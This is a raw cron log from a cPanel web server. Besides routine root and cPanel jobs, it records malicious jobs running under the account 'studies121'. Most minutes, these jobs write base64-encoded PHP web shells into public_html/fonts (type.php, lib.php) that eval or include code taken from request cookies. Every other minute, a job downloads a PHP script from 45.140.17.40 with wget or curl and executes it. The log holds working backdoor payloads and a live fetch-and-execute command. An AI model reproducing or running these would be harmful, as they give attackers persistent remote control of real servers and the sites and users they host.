Sep  6 21:08:01 ip-184-168-122-23 CROND[29537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:09:01 ip-184-168-122-23 CROND[29635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:09:01 ip-184-168-122-23 CROND[29638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:09:01 ip-184-168-122-23 CROND[29637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:09:01 ip-184-168-122-23 CROND[29636]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 21:09:01 ip-184-168-122-23 CROND[29639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:10:01 ip-184-168-122-23 CROND[29729]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:10:01 ip-184-168-122-23 CROND[29732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:10:01 ip-184-168-122-23 CROND[29739]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:10:01 ip-184-168-122-23 CROND[29738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:10:01 ip-184-168-122-23 CROND[29737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:10:01 ip-184-168-122-23 CROND[29735]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:10:01 ip-184-168-122-23 CROND[29734]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:10:01 ip-184-168-122-23 CROND[29740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:11:01 ip-184-168-122-23 CROND[29827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:11:01 ip-184-168-122-23 CROND[29829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:11:01 ip-184-168-122-23 CROND[29826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:11:01 ip-184-168-122-23 CROND[29828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:12:01 ip-184-168-122-23 CROND[29907]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:12:01 ip-184-168-122-23 CROND[29909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:12:01 ip-184-168-122-23 CROND[29910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:12:01 ip-184-168-122-23 CROND[29911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:12:01 ip-184-168-122-23 CROND[29912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:13:01 ip-184-168-122-23 CROND[30079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:13:01 ip-184-168-122-23 CROND[30078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:13:01 ip-184-168-122-23 CROND[30083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:13:01 ip-184-168-122-23 CROND[30082]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:14:01 ip-184-168-122-23 CROND[30169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:14:01 ip-184-168-122-23 CROND[30171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:14:01 ip-184-168-122-23 CROND[30172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:14:01 ip-184-168-122-23 CROND[30174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:14:01 ip-184-168-122-23 CROND[30173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:15:01 ip-184-168-122-23 CROND[30256]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:15:01 ip-184-168-122-23 CROND[30260]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:15:01 ip-184-168-122-23 CROND[30259]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:15:01 ip-184-168-122-23 CROND[30258]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:15:01 ip-184-168-122-23 CROND[30261]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:15:01 ip-184-168-122-23 CROND[30262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:16:01 ip-184-168-122-23 CROND[30373]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:16:01 ip-184-168-122-23 CROND[30377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:16:01 ip-184-168-122-23 CROND[30379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:16:01 ip-184-168-122-23 CROND[30378]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 21:16:01 ip-184-168-122-23 CROND[30375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:16:01 ip-184-168-122-23 CROND[30376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:17:01 ip-184-168-122-23 CROND[30473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:17:01 ip-184-168-122-23 CROND[30474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:17:01 ip-184-168-122-23 CROND[30476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:17:01 ip-184-168-122-23 CROND[30478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:18:01 ip-184-168-122-23 CROND[30554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:18:01 ip-184-168-122-23 CROND[30556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:18:01 ip-184-168-122-23 CROND[30557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:18:01 ip-184-168-122-23 CROND[30559]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 21:18:01 ip-184-168-122-23 CROND[30560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:19:01 ip-184-168-122-23 CROND[30729]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 21:19:01 ip-184-168-122-23 CROND[30730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:19:01 ip-184-168-122-23 CROND[30731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:19:01 ip-184-168-122-23 CROND[30732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30814]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 21:20:01 ip-184-168-122-23 CROND[30819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30825]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 21:20:01 ip-184-168-122-23 CROND[30824]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
